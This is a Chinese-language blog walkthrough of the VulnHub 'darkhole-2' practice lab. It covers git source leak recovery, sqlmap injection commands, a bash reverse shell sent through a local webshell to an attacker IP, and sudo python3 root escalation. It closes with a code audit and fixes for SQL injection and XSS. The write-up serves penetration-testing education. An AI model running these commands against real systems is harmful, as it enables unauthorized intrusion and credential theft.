freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

大余每日一攻防darkhole-2(十五)
大余 2023-12-20 14:44:08 117209

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

1703054473_65828c8963f209cae20df.png!small?1703054474186
发现ip地址:192.168.252.138
1703054477_65828c8d933e2672d88f5.png!small?1703054478687
枚举到端口22、80。

二、web系信息收集

1703054483_65828c931b860caa97552.png!small?1703054485176
打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接!

1703054487_65828c97cd4ed4b2985b2.png!small?1703054490022
右上角有login登陆口!

三、Git源码泄露漏洞

将这个git 库下载下来,-r表示递归下载,然后进入该目录:

wget -r http://192.168.253.129/.git/
cd 192.168.253.129

1703054491_65828c9b8dd6b8840b09b.png!small?1703054492808

利用git log命令查看提交过的记录:
1703054495_65828c9f7a0a281ac7186.png!small?1703054497486
我们发现在a4d900a这个记录里写着login.php带了一个默认凭证。

使用git reset --hard [log hash]恢复到指定版本号,--hard参数撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交。

git reset --hard a4d900a

1703054498_65828ca2ed38417222cfd.png!small?1703054499773

查看login.php的内容:
1703054502_65828ca6e491ecea10ea8.png!small?1703054504038

lush@admin.com
321

看到了邮箱账号密码,然后在网页端登录。

四、SQL注入

登录后如下图,网址中id可能参数存在SQL注入:
1703054505_65828ca9e227b62362af4.png!small?1703054506318
加上一个单引号后,页面变白,说明应该存在SQL注入漏洞:
1703054509_65828cad7770d4a9c3df3.png!small?1703054510318

sqlmap跑起来:

sqlmap -u "http://192.168.253.129/dashboard.php?id=1" --cookie=PHPSESSID="6s0vbeadvi3jf11780rpppdfjs" --dbs --batch

1703054519_65828cb737e6aa718ce2a.png!small?1703054519960
1703054523_65828cbbb2d20c1dc1c05.png!small?1703054524257
发现了数据库,看一下darkhole_2库中的表:

sqlmap -u "http://192.168.253.129/dashboard.php?id=1" --cookie=PHPSESSID="6s0vbeadvi3jf11780rpppdfjs" -D darkhole_2  --tables

1703054527_65828cbfb303de6562cab.png!small?1703054529626
看看里面数据:
1703054531_65828cc3a14a09d5c6dff.png!small?1703054532755

ssh jehad@192.168.253.129
fool

1703054535_65828cc7d69fe217226e7.png!small?1703054537656
成功登录!

五、远程命令执行漏洞

查看定时任务:

cat /etc/crontab

1703054540_65828ccc956069d59b543.png!small?1703054541102
可以看到运行了一个php服务器在9999端口上,用户为losy,可以尝试去看一下原代码:

1703054544_65828cd0407ad522b3393.png!small?1703054545127
发现居然是个一句话木马,反弹shell即可,但是这个连接只能在本地访问,需要做端口转发,命令将目标靶机的本地9999映射到本地9999端口:

ssh -L 9999:127.0.0.1:9999 jehad@192.168.253.129

1703054548_65828cd412f6622252968.png!small?1703054549178
在浏览器中访问9999端口,传入cmd参数:
1703054551_65828cd75f7f1a021e967.png!small?1703054552300
可以看到,用户为losy,可以反弹一个losy的shell:

bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.253.138/5566%200%3E%261%27

1703054556_65828cdc1709ee70ec2bb.png!small?1703054557504

六、提权root权限

在losy用户的.bash_history文件里,可以发现他的密码:
1703054562_65828ce217590ba47b67b.png!small?1703054562838

这里需要su进入当前用户去sudo找:
1703054567_65828ce7d09b8322712dc.png!small?1703054568943

发现可以以root身份执行python3:

sudo python3 -c 'import os; os.system("/bin/bash")'

1703054572_65828cec20a75ed0e6250.png!small?1703054572825

七、代码审计

查看源码:
1703054576_65828cf017482987e4fec.png!small?1703054576654
存在以下风险:
1、SQL注入风险

$id= $_GET['id'];
$info= $connect->query("select * from users where id='$id'")->fetch_assoc();

这段代码直接将用户输入的 id 参数拼接到 SQL 查询中,存在 SQL 注入的风险!可以使用参数绑定或者预处理语句来防止 SQL 注入攻击:

$stmt = $connect->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
$info = $stmt->get_result()->fetch_assoc();

2、XSS 攻击风险

<li><b>Full name</b> <input type="text" name="fname" id="fname" maxlength="100" value="<?php echo $info['username']; ?>" required /> ... </li>

在这里,用户的输入未进行 HTML 转义,可能导致跨站脚本攻击(XSS),对用户输入进行 HTML 转义,确保在页面中显示的内容不会执行任何恶意脚本。使用 htmlspecialchars() 函数:

<li><b>Full name</b> <input type="text" name="fname" id="fname" maxlength="100" value="<?php echo htmlspecialchars($info['username']); ?>" required /> ... </li>

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!


扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!

1701847681_657022811043209291287.png!small?1701847682244

欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701847704_65702298ccb7a072cd4c7.png!small?1701847708052

# 漏洞 # 渗透测试 # 网络安全 # web安全 # CTF
本文为 大余 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
大余每日攻防
大余 LV.5
没有网络安全就没有国家安全,VXID:dayuST
  • 91 文章数
  • 1074 关注者
大余每日一攻防EvilBox
2023-12-27
大余每日一攻防SNAKEOIL(十七)
2023-12-26
大余每日一攻防DEATHNOTE-1(十六)
2023-12-25
文章目录